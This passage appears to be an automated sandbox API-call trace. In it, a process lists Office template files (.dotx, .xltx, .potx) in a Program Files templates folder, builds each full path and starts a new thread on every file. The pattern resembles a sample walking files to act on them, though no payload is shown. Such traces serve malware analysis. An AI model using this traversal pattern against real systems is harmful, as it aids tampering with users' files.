_Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.473] wcscat (in: _Dest=0x2027aa10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.473] wcscat (in: _Dest=0x2027aa10, _Source="ApothecaryNewsletter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" [0097.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027aa10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0097.474] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x37879, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx", cAlternateFileName="APOTHE~4.DOT")) returned 1 [0097.474] wcscmp (_String1="ApothecaryResume.dotx", _String2=".") returned 1 [0097.474] wcscmp (_String1="ApothecaryResume.dotx", _String2="..") returned 1 [0097.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027aab0 [0097.474] wcscpy (in: _Dest=0x2027aab0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.474] wcscat (in: _Dest=0x2027aab0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.474] wcscat (in: _Dest=0x2027aab0, _Source="ApothecaryResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" [0097.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027aab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0097.475] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx", cAlternateFileName="BILLIN~1.XLT")) returned 1 [0097.475] wcscmp (_String1="BillingStatement.xltx", _String2=".") returned 1 [0097.475] wcscmp (_String1="BillingStatement.xltx", _String2="..") returned 1 [0097.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027ab50 [0097.475] wcscpy (in: _Dest=0x2027ab50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.475] wcscat (in: _Dest=0x2027ab50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.475] wcscat (in: _Dest=0x2027ab50, _Source="BillingStatement.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" [0097.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027ab50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0097.476] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2077f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d23e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieLetter.dotx", cAlternateFileName="BLACKT~1.DOT")) returned 1 [0097.476] wcscmp (_String1="BlackTieLetter.dotx", _String2=".") returned 1 [0097.476] wcscmp (_String1="BlackTieLetter.dotx", _String2="..") returned 1 [0097.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027abf0 [0097.476] wcscpy (in: _Dest=0x2027abf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.476] wcscat (in: _Dest=0x2027abf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.476] wcscat (in: _Dest=0x2027abf0, _Source="BlackTieLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" [0097.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027abf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0097.477] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e253ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d2119, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieMergeLetter.dotx", cAlternateFileName="BLACKT~2.DOT")) returned 1 [0097.477] wcscmp (_String1="BlackTieMergeLetter.dotx", _String2=".") returned 1 [0097.477] wcscmp (_String1="BlackTieMergeLetter.dotx", _String2="..") returned 1 [0097.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027ac90 [0097.477] wcscpy (in: _Dest=0x2027ac90, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.477] wcscat (in: _Dest=0x2027ac90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.478] wcscat (in: _Dest=0x2027ac90, _Source="BlackTieMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" [0097.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027ac90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0097.478] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2c5ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x96f4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieNewsletter.dotx", cAlternateFileName="BLACKT~3.DOT")) returned 1 [0097.478] wcscmp (_String1="BlackTieNewsletter.dotx", _String2=".") returned 1 [0097.478] wcscmp (_String1="BlackTieNewsletter.dotx", _String2="..") returned 1 [0097.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027ad30 [0097.479] wcscpy (in: _Dest=0x2027ad30, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.479] wcscat (in: _Dest=0x2027ad30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.479] wcscat (in: _Dest=0x2027ad30, _Source="BlackTieNewsletter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" [0097.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027ad30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0097.479] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e312190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x6724a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieResume.dotx", cAlternateFileName="BLACKT~4.DOT")) returned 1 [0097.479] wcscmp (_String1="BlackTieResume.dotx", _String2=".") returned 1 [0097.479] wcscmp (_String1="BlackTieResume.dotx", _String2="..") returned 1 [0097.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027add0 [0097.480] wcscpy (in: _Dest=0x2027add0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.480] wcscat (in: _Dest=0x2027add0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.480] wcscat (in: _Dest=0x2027add0, _Source="BlackTieResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" [0097.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0097.480] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494000, ftCreationTime.dwHighDateTime=0x1ca582b, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe494000, ftLastWriteTime.dwHighDateTime=0x1ca582b, nFileSizeHigh=0x0, nFileSizeLow=0x4352, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx", cAlternateFileName="BLOG~1.DOT")) returned 1 [0097.480] wcscmp (_String1="Blog.dotx", _String2=".") returned 1 [0097.480] wcscmp (_String1="Blog.dotx", _String2="..") returned 1 [0097.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868bc0 [0097.481] wcscpy (in: _Dest=0x1b868bc0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.481] wcscat (in: _Dest=0x1b868bc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.481] wcscat (in: _Dest=0x1b868bc0, _Source="Blog.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" [0097.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0097.482] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BloodPressureTracker.xltx", cAlternateFileName="BLOODP~1.XLT")) returned 1 [0097.482] wcscmp (_String1="BloodPressureTracker.xltx", _String2=".") returned 1 [0097.482] wcscmp (_String1="BloodPressureTracker.xltx", _String2="..") returned 1 [0097.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027ae70 [0097.482] wcscpy (in: _Dest=0x2027ae70, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.482] wcscat (in: _Dest=0x2027ae70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.482] wcscat (in: _Dest=0x2027ae70, _Source="BloodPressureTracker.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" [0097.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027ae70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0097.483] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb72000, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6eb72000, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx", cAlternateFileName="CLASSI~1.POT")) returned 1 [0097.483] wcscmp (_String1="ClassicPhotoAlbum.potx", _String2=".") returned 1 [0097.483] wcscmp (_String1="ClassicPhotoAlbum.potx", _String2="..") returned 1 [0097.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027af10 [0097.483] wcscpy (in: _Dest=0x2027af10, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.483] wcscat (in: _Dest=0x2027af10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.484] wcscat (in: _Dest=0x2027af10, _Source="ClassicPhotoAlbum.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" [0097.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027af10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0097.485] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b535800, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8b535800, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContemporaryPhotoAlbum.potx", cAlternateFileName="CONTEM~1.POT")) returned 1 [0097.485] wcscmp (_String1="ContemporaryPhotoAlbum.potx", _String2=".") returned 1 [0097.485] wcscmp (_String1="ContemporaryPhotoAlbum.potx", _String2="..") returned 1 [0097.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65e40 [0097.485] wcscpy (in: _Dest=0x1cd65e40, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.485] wcscat (in: _Dest=0x1cd65e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.485] wcscat (in: _Dest=0x1cd65e40, _Source="ContemporaryPhotoAlbum.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" [0097.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0097.486] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x26022, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityLetter.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1 [0097.486] wcscmp (_String1="EquityLetter.Dotx", _String2=".") returned 1 [0097.486] wcscmp (_String1="EquityLetter.Dotx", _String2="..") returned 1 [0097.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85c4e0 [0097.486] wcscpy (in: _Dest=0x1b85c4e0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.486] wcscat (in: _Dest=0x1b85c4e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.487] wcscat (in: _Dest=0x1b85c4e0, _Source="EquityLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" [0097.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0097.487] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x145ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeFax.Dotx", cAlternateFileName="EQUITY~2.DOT")) returned 1 [0097.487] wcscmp (_String1="EquityMergeFax.Dotx", _String2=".") returned 1 [0097.488] wcscmp (_String1="EquityMergeFax.Dotx", _String2="..") returned 1 [0097.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027afb0 [0097.488] wcscpy (in: _Dest=0x2027afb0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.488] wcscat (in: _Dest=0x2027afb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.488] wcscat (in: _Dest=0x2027afb0, _Source="EquityMergeFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" [0097.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027afb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0097.498] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x25ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeLetter.Dotx", cAlternateFileName="EQUITY~3.DOT")) returned 1 [0099.585] wcscmp (_String1="EquityMergeLetter.Dotx", _String2=".") returned 1 [0099.585] wcscmp (_String1="EquityMergeLetter.Dotx", _String2="..") returned 1 [0099.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7adf20 [0099.585] wcscpy (in: _Dest=0x1b7adf20, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0099.585] wcscat (in: _Dest=0x1b7adf20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0099.585] wcscat (in: _Dest=0x1b7adf20, _Source="EquityMergeLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" [0127.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adf20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1768 [0127.574] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bec38, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityReport.Dotx", cAlternateFileName="EQUITY~4.DOT")) returned 1 [0127.574] wcscmp (_String1="EquityReport.Dotx", _String2=".") returned 1 [0127.574] wcscmp (_String1="EquityReport.Dotx", _String2="..") returned 1 [0127.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bb50 [0127.575] wcscpy (in: _Dest=0x1b85bb50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.575] wcscat (in: _Dest=0x1b85bb50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.575] wcscat (in: _Dest=0x1b85bb50, _Source="EquityReport.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" [0127.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0127.575] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x45054, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityResume.Dotx", cAlternateFileName="EQD69A~1.DOT")) returned 1 [0127.576] wcscmp (_String1="EquityResume.Dotx", _String2=".") returned 1 [0127.576] wcscmp (_String1="EquityResume.Dotx", _String2="..") returned 1 [0127.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85b520 [0127.576] wcscpy (in: _Dest=0x1b85b520, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.576] wcscat (in: _Dest=0x1b85b520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.576] wcscat (in: _Dest=0x1b85b520, _Source="EquityResume.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" [0127.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c [0127.577] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, 